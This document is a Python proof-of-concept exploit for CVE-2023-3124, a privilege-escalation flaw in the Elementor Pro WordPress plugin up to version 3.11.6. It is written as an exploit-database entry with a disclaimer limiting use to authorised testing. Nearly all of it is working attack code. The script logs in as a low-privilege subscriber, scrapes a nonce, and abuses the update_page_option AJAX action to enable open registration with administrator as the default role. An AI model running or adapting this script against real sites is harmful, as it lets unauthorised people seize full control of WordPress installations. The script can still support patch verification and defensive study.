# Exploit Title: Elementor Pro <= 3.11.6 - Authenticated(Subscriber+) Privilege Escalation via update_page_option # Exploit Author: AmirWhiteHat # CVE: CVE-2023-3124 # CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # # python3 PoC.py --username USER --password PASS --link WP-URL # # Disclaimer: This script is intended to be used for educational purposes only. # Do not run this against any system that you do not have permission to test. # The author will not be held responsible for any use or damage caused by this # program. import os,sys import time import random import argparse from concurrent.futures import ThreadPoolExecutor, as_completed from bs4 import BeautifulSoup import requests from optparse import OptionParser is_windows = sys.platform.startswith('win') if is_windows: import win_unicode_console , colorama win_unicode_console.enable() colorama.init() r = '\033[91m' g = '\033[92m' y = '\033[93m' b = '\033[94m' w = '\033[0m' m = '\033[35m' else: r = '\033[31m' g = '\033[32m' y = '\033[33m' b = '\033[34m' m = '\033[35m' c = '\033[36m' w = '\033[37m' rr = '\033[39m' def main(): try: parser = OptionParser() parser.add_option("-u", "--username", dest="username", default="", help="Wordpress Username") parser.add_option("-p", "--password", dest="password", default="", help="Wordpress Passowrd") parser.add_option("-l", "--link", dest="link", default="", help="Wordpress URL") (options, args) = parser.parse_args() if not os.path.exists("results"): os.makedirs("results") print(f'{y}## Title: CVE-2023-3124 {y}') print(f'{y}## PoC By AmirWhiteHat {y}') if options.link == False: print(f'{r}[-] Wordpress url not found.'+f'{w}') exit() if options.username == False: print(f'{r}[-] Username not found.'+f'{w}') exit() if options.password == False: print(f'{r}[-] Password not found.'+f'{w}') exit() print(f'{m}[*] Try to login '+str(options.username)+' with '+str(options.password)+f'{m}') session = requests.Session() headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "nl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": options.link, "Connection": "close", "Upgrade-Insecure-Requests": "1"} data = {"log": options.username, "pwd": options.password, "wp-submit": "Log In", "redirect_to": f"{options.link}/wp-admin/index.php?wc-ajax=1"} print(f"{y}[*] Logging in...{w}") res = session.post(f"{options.link}/wp-login.php", headers=headers, data=data, allow_redirects=True, verify=False) if ("incorrect" not in res.text) or ("unsure" not in res.text): # Step 1 content = str(res.content) content = content[content.find("elementor-common-js-before"):] content = content[:content.find("")] nonce = content[content.find("nonce")+8:content.find("nonce")+18] print(f"{g}[+] Got nonce: {nonce}{w}") # Step 2 data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"users_can_register\",\"editor_post_id\":%d}}}" % 1, "_nonce": nonce, "action": "elementor_ajax"} res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data , verify=False) resp = res.json() try: if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]: print(f"{g}[+] Updated users_can_register option to True {w}") except: print(f"{r}[-] Failed to update users_can_register option to True {w}") # Step 3 data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"default_role\",\"editor_post_id\":\"%s\"}}}" % "administrator", "_nonce": nonce, "action": "elementor_ajax"} res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data, verify=False) resp = res.json() try: if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]: print(f"{g}[+] Updated default_role option to admin {w}") print(f"{g}[+] New users defult role is admin :) {w}") except: print(f"{r}[-] Failed to update default_role option to admin {w}") else: print(f"{r}[-] Wrong information {w}") except Exception as e: print("Error => "+str(e)) main()